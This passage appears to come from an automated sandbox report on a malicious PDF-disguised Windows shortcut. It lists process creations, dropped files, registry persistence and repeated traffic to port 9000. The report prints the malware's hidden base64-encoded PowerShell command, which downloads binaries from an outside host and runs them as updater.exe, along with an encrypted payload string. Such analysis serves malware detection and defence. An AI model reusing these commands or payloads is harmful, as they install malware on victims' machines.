gBzAGgAbwBwAC8AYQBwAGkALwB1AHoALwA3ADUANQAyADkANwAzADYANQAwAC8AbgBuAG4ALgBiAGkAbgAiADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAdgBQAGIAOQAgAC0ATwB1AHQARgBpAGwAZQAgACQAcABIAHQANgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB4AFEAZAA1ACAALQBPAHUAdABGAGkAbABlACAAJABzAFcAZgAyACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABIAHQANgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAkAHMAVwBmADIAOwAmACAAKABbAHMAYwByAGkAcAB0AGIAbABvAGMAawBdADoAOgBDAHIAZQBhAHQAZQAoACgAKAAnAGUAJwArACcAeABpACcAKwAnAHQAJwApACAALQBqAG8AaQBuACAAJwAnACkAKQApAA==
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function wrdZ($UvhG){return -split ($UvhG -replace '..', '0x$& ')};$ERHgk = wrdZ('ECA586FB867E54D080F88AB849BFB94F298E9D4D174F6B1F2F81610C3540C56191E34FB7B2DF87630478E180DACA97337CF338C5F0549579E18CC1A49A1339F9691FAE2EDAAC0D6E2AB4913030D45E7F9C40731A7B0ED45F438D15D573AB5E4816A3D8CA82DAA342D630EDB6E24E85F4D05E0447A728444A18214CD35DB1FD5C4C677BF1EB6DD62A0D4B42A5F996D056A8C58BF2B2ADC007CA0004F35EEDF7DB06CC47C0E8175257375360952646DDCE12F86A389A2FB4F08F04DF71ABBD10CA19394807E45AE262B4CF2BD880666BE9808038992E086339CA69F730462BD5BA268BEA9591B45C3FDDC4B990452C3C5B083B1D8A99DB9D344BE7F259679F7994FBAA4E272654402905FEB107236FDE83FA247F6DFF5EE2DE2FBE984DE8D33A5077EC31D65DAE7AAC344DB18BADD0E59C3DC0A20AA1776387E75ED82F6F21E81D436D435FE7641490C8BB3BE615F9D76B1F8A1323001EC29CB1DC720A20647927291ABFCCFF409B1F94A878B0CDB0AFF68E11DAF8B2CCB95D3B395C11FB1D2F79673936E5F6AF545B019BFDE71CDAC1667709524F9244C6D8B3198F1F28C92F507AF233B70FD15099184E521AA3D1F4EB4613BE4CC9617FD5EE373CB05A7B164A2B6211387C494F7FC2F64FB4B0EEC11B39FFCC4E09EE10E96070192D4E0E2AD737B857A3BA8766EF8B454E4CC9BAE60331184407821C7F5A417DEBB95885CD929FAC64B5913D45E20BA92710C789EA36BC01ED629BAAEEFB8F420E9D966E4669DB7E1EE213C1001073B4FB67BB454BA80B0144D096E4FA221E9AB74FB2FDA2CBBA9C669EB50610B810047A6A75A1E41407350666C1B141836EA4FB3C9588111CE216EB2E451248C7008EA09561E08463428A981B69214151A19DD58483CB4A07DA879953AA3FDBF8EC16A79ACD16FBF54B34E405FCE7D15727908982C71DB4EC3160579745FCBC610756535558573F49618C7606881E9C8F026001D9C1C40FD2462CC1EC3DCF620D160F23D6F789F8CAA4EE9835FD65AA1D0E0278809DE0D85C1295E58C782AAFF7016B75C2FBB65FE1F73E7B038C89BAA57C32930D22EE8C71A06F4A2C738995833A10226ECDFB07ECD5F6DA31617797E009FA791AB33D9189A3A8E44428EFC9D7C6FAC3474FD38038FE910BBB036CFF902B287315F807FAAA06AED95210DDE82DAEAC0A523D871AE53C0EF75EF61B9A57F8F33A81ABD5D297C8FA835397595E7202A8E9007FFC7EDE814D001B798D89293879C641BE0707A91665E5503FECF99138AC09675DB1C070F4CF90193587A5FFC1CEE76401544370EB81704BA787C0CD04C9585C45A98FE309B624E2A8DF58992BFB2E28E05D3E083F40D7259170B815F21C934D9A6B716FB374544D200AC2F51F83FF6015BF31FAF855ACD6F94C4EDCFFE1B1B1E84CD0DCE3476BE438811875890C244AF355F5A99D60D3FE596651A7FCE949EF11B75A3E47270440D77D7293E40B99F248B7EA50AE844851B9FCECC2A42A543848822154E0BDE72E753A37ABBC37D5A523E44824FDECB7EA3DA94AE0BC489AFB57E7FF8B9D330E6B6CF749C38703F35FBB8C7524C1CC772CB6E97F52B9A303F765EEA1CF88781CF03DBAF4E05C5E83D04900C62AE76C9060D2EF02C6358A9C35D3C5CADDA4513FE8720161EE8D258C9D8738089620A44FDD02266B9393340D2A4D6DF53670CE0EAC8ADF596CBD6821F99D9AA7D32C9C1C8CDD6A112CF9684123E95FA54979737993CA2ED54A8E4E7B526955F3B82D4D1180DCF858A68E630366BAE559198412C920E3DF514DC1275386D42B0CF7D7800F9A9C56DF30AC55BB715221A65AC5F1B6C047475AF5D327C3E5F8421DC5507C9898E1CA30BC70D6ED81C7FBE88DC6473A1B361F63E277C1B83D0BA47D9D3A44BB1ED147D9E3D1391B4E0C9728E31F4600C8F8CDC7EA1BB362F215217B57B713C7F2C9B60FFBB1ABF	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy RemoteSigned -WindowStyle Hidden -EncodedCommand JABhAEoAdwA3AD0AIgB1AHAAZABhAHQAZQByAC4AZQB4AGUAIgA7ACQAawBOAHIAMwA9AC0AagBvAGkAbgAoACgANgA1AC4ALgA5ADAAKQArACgAOQA3AC4ALgAxADIAMgApAHwARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0AHsAWwBjAGgAYQByAF0AJABfAH0AfABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBDAG8AdQBuAHQAIAA4ACkAKwAiAC4AYgBpAG4AIgA7ACQAagBYAHEANAA9AEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQARQBNAFAAIAAtAEMAaABpAGwAZABQAGEAdABoACgALQBqAG8AaQBuACgAKAA0ADgALgAuADUANwB8AEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAB7AFsAYwBoAGEAcgBdACQAXwB9ACkAfABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBDAG8AdQBuAHQAIAA4ACkAKQA7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAagBYAHEANAAgAC0ASQB0AGUAbQBUAHkAcABlACAARABpAHIAZQBjAHQAbwByAHkAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAA7ACQAcABIAHQANgA9AEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABqAFgAcQA0ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACQAYQBKAHcANwA7ACQAcwBXAGYAMgA9AEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABqAFgAcQA0ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACQAawBOAHIAMwA7ACQAdgBQAGIAOQA9ACIAaAB0AHQAcABzADoALwAvAGMAbgBkAGUAZgAxAC4AZwByAGUAZQBuAC0AcABhAHQAaAB3AGEAeQBzAC4AcwBoAG8AcAAvAGEAcABpAC8AdQB6AC8ANwA1ADUAMgA5ADcAMwA2ADUAMAAvAHUALgBiAGkAbgAiADsAJAB4AFEAZAA1AD0AIgBoAHQAdABwAHMAOgAvAC8AYwBuAGQAZQBmADEALgBnAHIAZQBlAG4ALQBwAGEAdABoAHcAYQB5AHMALgBzAGgAbwBwAC8AYQBwAGkALwB1AHoALwA3ADUANQAyADkANwAzADYANQAwAC8AbgBuAG4ALgBiAGkAbgAiADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAdgBQAGIAOQAgAC0ATwB1AHQARgBpAGwAZQAgACQAcABIAHQANgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB4AFEAZAA1ACAALQBPAHUAdABGAGkAbABlACAAJABzAFcAZgAyACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABIAHQANgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAkAHMAVwBmADIAOwAmACAAKABbAHMAYwByAGkAcAB0AGIAbABvAGMAawBdADoAOgBDAHIAZQBhAHQAZQAoACgAKAAnAGUAJwArACcAeABpACcAKwAnAHQAJwApACAALQBqAG8AaQBuACAAJwAnACkAKQApAA==	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe

Code function: 19_2_00C2C6D9 LoadLibraryA,GetProcAddress,

19_2_00C2C6D9

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FF8477000BD pushad ; iretd	8_2_00007FF8477000C1
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_00BD8B75 push ecx; ret	19_2_00BD8B88
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_0126311D push 012631ADh; ret	19_2_012631A5
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_0126717D push 012671A9h; ret	19_2_012671A1
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_01267145 push 01267171h; ret	19_2_01267169
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_012671B5 push 012671E1h; ret	19_2_012671D9
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_012671ED push 01267219h; ret	19_2_01267211
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_012531FD push 01253501h; ret	19_2_012534F9
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_012531C5 push 012531F1h; ret	19_2_012531E9
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_0126306D push 01263118h; ret	19_2_01263110
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_0126306B push 01263118h; ret	19_2_01263110
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_0125A0A9 push 0125A0D5h; ret	19_2_0125A0CD
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_012670ED push 01267139h; ret	19_2_01267131
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_01266327 push 012663A6h; ret	19_2_0126639E
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_01266329 push 012663A6h; ret	19_2_0126639E
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_0126A339 push 0126A36Dh; ret	19_2_0126A365
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_0126A379 push 0126A39Fh; ret	19_2_0126A397
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_0126A341 push 0126A36Dh; ret	19_2_0126A365
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_012593D7 push 01259825h; ret	19_2_0125981D
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_012653D1 push 012653FDh; ret	19_2_012653F5
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_01267225 push 01267251h; ret	19_2_01267249
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_012652B5 push 012652E1h; ret	19_2_012652D9
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_012692B9 push 012692E5h; ret	19_2_012692DD
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_01267295 push 012672C1h; ret	19_2_012672B9
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_01267293 push 012672C1h; ret	19_2_012672B9
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_0126A2E6 push 0126A36Dh; ret	19_2_0126A365
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_012672CD push 012672F9h; ret	19_2_012672F1
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_01265521 push 0126556Dh; ret	19_2_01265565
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_01265541 push 0126556Dh; ret	19_2_01265565
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_01265409 push 01265435h; ret	19_2_0126542D
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_01265479 push 012654A5h; ret	19_2_0126549D

Persistence and Installation Behavior

Windows shortcut file (LNK) starts blacklisted processes

Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\mshta.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\mshta.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\48216953\updater.exe			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	File created: C:\ehcfdbh\AutoIt3.exe			Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\InstallUtil.exe.log

Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce bhcbhah
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce bhcbhah
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce bhcbhah
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce bhcbhah

Hooking and other Techniques for Hiding and Protection

Uses an obfuscated file name to hide its real file extension (double extension)

Source: Possible double extension: pdf.lnk

Static PE information: ref095vq842r70_classement_atout_france.pdf.lnk.d.lnk

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49900
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 50064 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 50075 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50076 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 50086 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 50087 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 50088 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 50097 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50097
Source: unknown	Network traffic detected: HTTP traffic on port 50098 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50098
Source: unknown	Network traffic detected: HTTP traffic on port 50099 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50099
Source: unknown	Network traffic detected: HTTP traffic on port 50100 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 50101 -> 9000
